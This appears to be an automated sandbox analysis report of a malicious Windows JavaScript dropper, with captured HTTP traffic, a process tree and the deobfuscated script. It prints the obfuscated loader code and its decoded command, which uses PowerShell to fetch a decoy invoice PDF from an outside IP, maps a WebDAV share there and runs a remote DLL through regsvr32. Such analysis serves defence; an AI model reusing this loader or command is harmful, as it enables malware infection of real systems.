Jan 11, 2025 02:29:45.312737942 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:29:45 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:29:45.312777996 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:29:45.312814951 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:29:45.312927961 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 02:29:45.312963963 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 02:29:45.312999964 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 02:29:45.313034058 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 02:29:45.313069105 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 02:29:45.313101053 CET	328	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 02:29:45.313138008 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 02:29:45.317959070 CET	272	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	4912	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:29:46.686887026 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:29:47.524633884 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:29:47 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:29:40
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22346161431640618987.js"
Imagebase:	0x7ff783a60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:29:41
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll
Imagebase:	0x7ff620100000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:29:41
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:29:41
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:29:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:29:45
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff620100000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:29:45
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff765a70000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:29:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:29:46
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:29:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1656,i,9541411069191767408,10913797833195117777,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sfvihdyxn() {	sfvihdyxn() ➔ undefined
1	hghsij = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mjvvy = this[oziwhf + xtszay + ahydqk + xewsfcdm + xuimxyib + plooe + umstn + herbbta] ( this[rnslat + gotjiq + btxgjsu + ahydqk + rethnw + oziwhf + herbbta][yshkc + ahydqk + xuimxyib + xtszay + herbbta + xuimxyib + mvgqmxxf + khnqpu + ncbgirxyi + xuimxyib + btxgjsu + herbbta] ( rnslat + gotjiq + btxgjsu + ahydqk + rethnw + oziwhf + herbbta + hdvsmslrv + gotjiq + dhlrmty + xuimxyib + mfzchkxf + mfzchkxf ) [skbemut + xuimxyib + wmwjk + skbemut + xuimxyib + xtszay + lnxwgdbje] ( lmugsj + vfzaiegs + htuuzcgm + hdjklb + vphicw + yshkc + gdqqox + skbemut + skbemut + htuuzcgm + zuzhpsth + gxjeyydry + vphicw + gdqqox + gotjiq + htuuzcgm + skbemut + hxspvpqc + yshkc + dzwlnxkh + umstn + herbbta + ahydqk + dzwlnxkh + mfzchkxf + wfgqya + nfsazgs + xtszay + umstn + xuimxyib + mfzchkxf + hxspvpqc + plooe + umstn + herbbta + xuimxyib + ahydqk + umstn + xtszay + herbbta + rethnw + dzwlnxkh + umstn + xtszay + mfzchkxf + hxspvpqc + okjdbroy + dzwlnxkh + btxgjsu + xtszay + mfzchkxf + xuimxyib ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( mpceacu = 0 ; mpceacu < hghsij[mfzchkxf + xuimxyib + umstn + wmwjk + herbbta + dhlrmty] ; ++ mpceacu )
4	{
5	if ( mjvvy == hghsij[mpceacu] )
6	{
7	mjvvy = true;
8	break ;
9	}
10	}
11	if ( mjvvy !== true )
12	this[rnslat + gotjiq + btxgjsu + ahydqk + rethnw + oziwhf + herbbta][omflm + fyiyj + rethnw + herbbta] ( );
13	this[rnslat + gotjiq + btxgjsu + ahydqk + rethnw + oziwhf + herbbta][yshkc + ahydqk + xuimxyib + xtszay + herbbta + xuimxyib + mvgqmxxf + khnqpu + ncbgirxyi + xuimxyib + btxgjsu + herbbta] ( rnslat + gotjiq + btxgjsu + ahydqk + rethnw + oziwhf + herbbta + hdvsmslrv + gotjiq + dhlrmty + xuimxyib + mfzchkxf + mfzchkxf ) [ahydqk + fyiyj + umstn] ( btxgjsu + tzvda + lnxwgdbje + wfgqya + zsefgm + btxgjsu + wfgqya + oziwhf + dzwlnxkh + ktqqssuug + xuimxyib + ahydqk + xewsfcdm + dhlrmty + xuimxyib + mfzchkxf + mfzchkxf + hdvsmslrv + xuimxyib + tnwcwtt + xuimxyib + wfgqya + npqthzcgx + yshkc + dzwlnxkh + tzvda + tzvda + xtszay + umstn + lnxwgdbje + wfgqya + cgxdgnz + plooe + umstn + bwmbwwtoh + dzwlnxkh + ysnooibg + xuimxyib + npqthzcgx + rnslat + xuimxyib + khnqpu + skbemut + xuimxyib + vzguadnjc + fyiyj + xuimxyib + xewsfcdm + herbbta + wfgqya + npqthzcgx + mvgqmxxf + fyiyj + herbbta + ezfloxaev + rethnw + mfzchkxf + xuimxyib + wfgqya + bgcpjioyg + herbbta + xuimxyib + tzvda + oziwhf + bgcpjioyg + hxspvpqc + rethnw + umstn + bwmbwwtoh + dzwlnxkh + rethnw + btxgjsu + xuimxyib + hdvsmslrv + oziwhf + lnxwgdbje + kjyowt + wfgqya + dhlrmty + herbbta + herbbta + oziwhf + epbkmvivl + zsefgm + zsefgm + lueivf + tfwpxlvan + ghffmqp + hdvsmslrv + lueivf + eceiu + ghffmqp + hdvsmslrv + lueivf + hdvsmslrv + gfwzznv + omogwba + wxelbn + zsefgm + rethnw + umstn + bwmbwwtoh + dzwlnxkh + rethnw + btxgjsu + xuimxyib + hdvsmslrv + oziwhf + dhlrmty + oziwhf + cgxdgnz + rqymt + rqymt + xewsfcdm + herbbta + xtszay + ahydqk + herbbta + wfgqya + bgcpjioyg + herbbta + xuimxyib + tzvda + oziwhf + bgcpjioyg + hxspvpqc + rethnw + umstn + bwmbwwtoh + dzwlnxkh + rethnw + btxgjsu + xuimxyib + hdvsmslrv + oziwhf + lnxwgdbje + kjyowt + rqymt + rqymt + btxgjsu + tzvda + lnxwgdbje + wfgqya + zsefgm + btxgjsu + wfgqya + umstn + xuimxyib + herbbta + wfgqya + fyiyj + xewsfcdm + xuimxyib + wfgqya + hxspvpqc + hxspvpqc + lueivf + tfwpxlvan + ghffmqp + hdvsmslrv + lueivf + eceiu + ghffmqp + hdvsmslrv + lueivf + hdvsmslrv + gfwzznv + omogwba + wxelbn + stpweniu + hngmgx + hngmgx + hngmgx + hngmgx + hxspvpqc + lnxwgdbje + xtszay + bwmbwwtoh + ktqqssuug + ktqqssuug + ktqqssuug + ahydqk + dzwlnxkh + dzwlnxkh + herbbta + hxspvpqc + rqymt + rqymt + btxgjsu + tzvda + lnxwgdbje + wfgqya + zsefgm + btxgjsu + wfgqya + ahydqk + xuimxyib + wmwjk + xewsfcdm + bwmbwwtoh + ahydqk + ghffmqp + gfwzznv + wfgqya + zsefgm + xewsfcdm + wfgqya + hxspvpqc + hxspvpqc + lueivf + tfwpxlvan + ghffmqp + hdvsmslrv + lueivf + eceiu + ghffmqp + hdvsmslrv + lueivf + hdvsmslrv + gfwzznv + omogwba + wxelbn + stpweniu + hngmgx + hngmgx + hngmgx + hngmgx + hxspvpqc + lnxwgdbje + xtszay + bwmbwwtoh + ktqqssuug + ktqqssuug + ktqqssuug + ahydqk + dzwlnxkh + dzwlnxkh + herbbta + hxspvpqc + ghffmqp + omogwba + wxelbn + tfwpxlvan + eceiu + gfwzznv + tfwpxlvan + wxelbn + hngmgx + eceiu + tfwpxlvan + wxelbn + eceiu + lueivf + hdvsmslrv + lnxwgdbje + mfzchkxf + mfzchkxf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll",0,false) ➔ 0
14	}
15	gdqqox = "a";
16	gdqqox = "d";
17	gdqqox = "E";
18	gdqqox = "d";
19	gdqqox = "K";
20	gdqqox = "h";
21	gdqqox = "q";
22	gdqqox = "U";
23	tfwpxlvan = "o";
24	tfwpxlvan = "u";
25	tfwpxlvan = "j";
26	tfwpxlvan = "y";
27	tfwpxlvan = "l";
28	tfwpxlvan = "a";
29	tfwpxlvan = "P";
30	tfwpxlvan = "D";
31	tfwpxlvan = "O";
32	tfwpxlvan = "U";
33	tfwpxlvan = "R";
34	tfwpxlvan = "M";
35	tfwpxlvan = "s";
36	tfwpxlvan = "p";
37	tfwpxlvan = "o";
38	tfwpxlvan = "o";
39	tfwpxlvan = "C";
40	tfwpxlvan = "M";
41	tfwpxlvan = "G";
42	tfwpxlvan = "r";
43	tfwpxlvan = "j";
44	tfwpxlvan = "W";
45	tfwpxlvan = "z";
46	tfwpxlvan = "Z";
47	tfwpxlvan = "D";
48	tfwpxlvan = "k";
49	tfwpxlvan = "v";
50	tfwpxlvan = "r";
51	tfwpxlvan = "9";
52	lmugsj = "Z";
53	lmugsj = "H";
54	lmugsj = "d";
55	lmugsj = "A";
56	lmugsj = "F";
57	lmugsj = "f";
58	lmugsj = "t";
59	lmugsj = "V";
60	lmugsj = "g";
61	lmugsj = "H";
62	ysnooibg = "t";
63	ysnooibg = "L";
64	ysnooibg = "B";
65	ysnooibg = "W";
66	ysnooibg = "Z";
67	ysnooibg = "Y";
68	ysnooibg = "R";
69	ysnooibg = "g";
70	ysnooibg = "m";
71	ysnooibg = "U";
72	ysnooibg = "o";
73	ysnooibg = "k";
74	wxelbn = "A";
75	wxelbn = "t";
76	wxelbn = "u";
77	wxelbn = "c";
78	wxelbn = "O";
79	wxelbn = "j";
80	wxelbn = "K";
81	wxelbn = "p";
82	wxelbn = "x";
83	wxelbn = "V";
84	wxelbn = "J";
85	wxelbn = "K";
86	wxelbn = "I";
87	wxelbn = "i";
88	wxelbn = "m";
89	wxelbn = "m";
90	wxelbn = "Q";
91	wxelbn = "O";
92	wxelbn = "f";
93	wxelbn = "a";
94	wxelbn = "y";
95	wxelbn = "W";
96	wxelbn = "h";
97	wxelbn = "f";
98	wxelbn = "r";
99	wxelbn = "l";
100	wxelbn = "r";
101	wxelbn = "J";
102	wxelbn = "i";
103	wxelbn = "p";
104	wxelbn = "n";
105	wxelbn = "P";
106	wxelbn = "H";
107	wxelbn = "x";
108	wxelbn = "K";
109	wxelbn = "T";
110	wxelbn = "k";
111	wxelbn = "I";
112	wxelbn = "t";
113	wxelbn = "m";
114	wxelbn = "r";
115	wxelbn = "N";
116	wxelbn = "Z";
117	wxelbn = "5";
118	kjyowt = "N";
119	kjyowt = "W";
120	kjyowt = "J";
121	kjyowt = "K";
122	kjyowt = "X";
123	kjyowt = "O";
124	kjyowt = "L";
125	kjyowt = "O";
126	kjyowt = "J";
127	kjyowt = "e";
128	kjyowt = "s";
129	kjyowt = "u";
130	kjyowt = "U";
131	kjyowt = "s";
132	kjyowt = "Y";
133	kjyowt = "F";
134	kjyowt = "f";
135	rethnw = "Y";
136	rethnw = "O";
137	rethnw = "v";
138	rethnw = "E";
139	rethnw = "i";
140	cgxdgnz = "T";
141	cgxdgnz = "A";
142	cgxdgnz = "D";
143	cgxdgnz = "k";
144	cgxdgnz = "F";
145	cgxdgnz = "h";
146	cgxdgnz = "H";
147	cgxdgnz = "O";
148	cgxdgnz = "C";
149	cgxdgnz = "e";
150	cgxdgnz = "z";
151	cgxdgnz = "L";
152	cgxdgnz = "B";
153	cgxdgnz = "x";
154	cgxdgnz = "u";
155	cgxdgnz = "B";
156	cgxdgnz = "q";
157	cgxdgnz = "r";
158	cgxdgnz = "M";
159	cgxdgnz = "k";
160	cgxdgnz = "Z";
161	cgxdgnz = "q";
162	cgxdgnz = "R";
163	cgxdgnz = "a";
164	cgxdgnz = "i";
165	cgxdgnz = "\"";
166	zuzhpsth = "Z";
167	zuzhpsth = "Y";
168	zuzhpsth = "r";
169	zuzhpsth = "T";
170	zuzhpsth = "y";
171	zuzhpsth = "G";
172	zuzhpsth = "b";
173	zuzhpsth = "c";
174	zuzhpsth = "S";
175	zuzhpsth = "B";
176	zuzhpsth = "X";
177	zuzhpsth = "I";
178	zuzhpsth = "R";
179	zuzhpsth = "O";
180	zuzhpsth = "w";
181	zuzhpsth = "k";
182	zuzhpsth = "L";
183	zuzhpsth = "z";
184	zuzhpsth = "f";
185	zuzhpsth = "J";
186	zuzhpsth = "N";
187	xuimxyib = "y";
188	xuimxyib = "e";
189	tnwcwtt = "x";
190	skbemut = "s";
191	skbemut = "R";
192	mfzchkxf = "x";
193	mfzchkxf = "F";
194	mfzchkxf = "Y";
195	mfzchkxf = "Q";
196	mfzchkxf = "w";
197	mfzchkxf = "t";
198	mfzchkxf = "o";
199	mfzchkxf = "Q";
200	mfzchkxf = "e";
201	mfzchkxf = "g";
202	mfzchkxf = "A";
203	mfzchkxf = "P";
204	mfzchkxf = "A";
205	mfzchkxf = "X";
206	mfzchkxf = "f";
207	mfzchkxf = "O";
208	mfzchkxf = "L";
209	mfzchkxf = "h";
210	mfzchkxf = "h";
211	mfzchkxf = "B";
212	mfzchkxf = "s";
213	mfzchkxf = "T";
214	mfzchkxf = "v";
215	mfzchkxf = "b";
216	mfzchkxf = "z";
217	mfzchkxf = "K";
218	mfzchkxf = "j";
219	mfzchkxf = "U";
220	mfzchkxf = "F";
221	mfzchkxf = "y";
222	mfzchkxf = "y";
223	mfzchkxf = "D";
224	mfzchkxf = "o";
225	mfzchkxf = "z";
226	mfzchkxf = "z";
227	mfzchkxf = "x";
228	mfzchkxf = "j";
229	mfzchkxf = "x";
230	mfzchkxf = "z";
231	mfzchkxf = "l";
232	bwmbwwtoh = "o";
233	bwmbwwtoh = "b";
234	bwmbwwtoh = "W";
235	bwmbwwtoh = "L";
236	bwmbwwtoh = "T";
237	bwmbwwtoh = "F";
238	bwmbwwtoh = "E";
239	bwmbwwtoh = "a";
240	bwmbwwtoh = "n";
241	bwmbwwtoh = "L";
242	bwmbwwtoh = "N";
243	bwmbwwtoh = "I";
244	bwmbwwtoh = "R";
245	bwmbwwtoh = "Z";
246	bwmbwwtoh = "n";
247	bwmbwwtoh = "N";
248	bwmbwwtoh = "C";
249	bwmbwwtoh = "u";
250	bwmbwwtoh = "T";
251	bwmbwwtoh = "f";
252	bwmbwwtoh = "x";
253	bwmbwwtoh = "h";
254	bwmbwwtoh = "C";
255	bwmbwwtoh = "v";
256	ahydqk = "u";
257	ahydqk = "r";
258	stpweniu = "R";
259	stpweniu = "t";
260	stpweniu = "M";
261	stpweniu = "S";
262	stpweniu = "K";
263	stpweniu = "F";
264	stpweniu = "z";
265	stpweniu = "T";
266	stpweniu = "S";
267	stpweniu = "I";
268	stpweniu = "Y";
269	stpweniu = "@";
270	khnqpu = "I";
271	khnqpu = "j";
272	khnqpu = "M";
273	khnqpu = "C";
274	khnqpu = "K";
275	khnqpu = "n";
276	khnqpu = "U";
277	khnqpu = "x";
278	khnqpu = "D";
279	khnqpu = "Y";
280	khnqpu = "K";
281	khnqpu = "T";
282	khnqpu = "M";
283	khnqpu = "F";
284	khnqpu = "U";
285	khnqpu = "s";
286	khnqpu = "k";
287	khnqpu = "r";
288	khnqpu = "T";
289	khnqpu = "K";
290	khnqpu = "n";
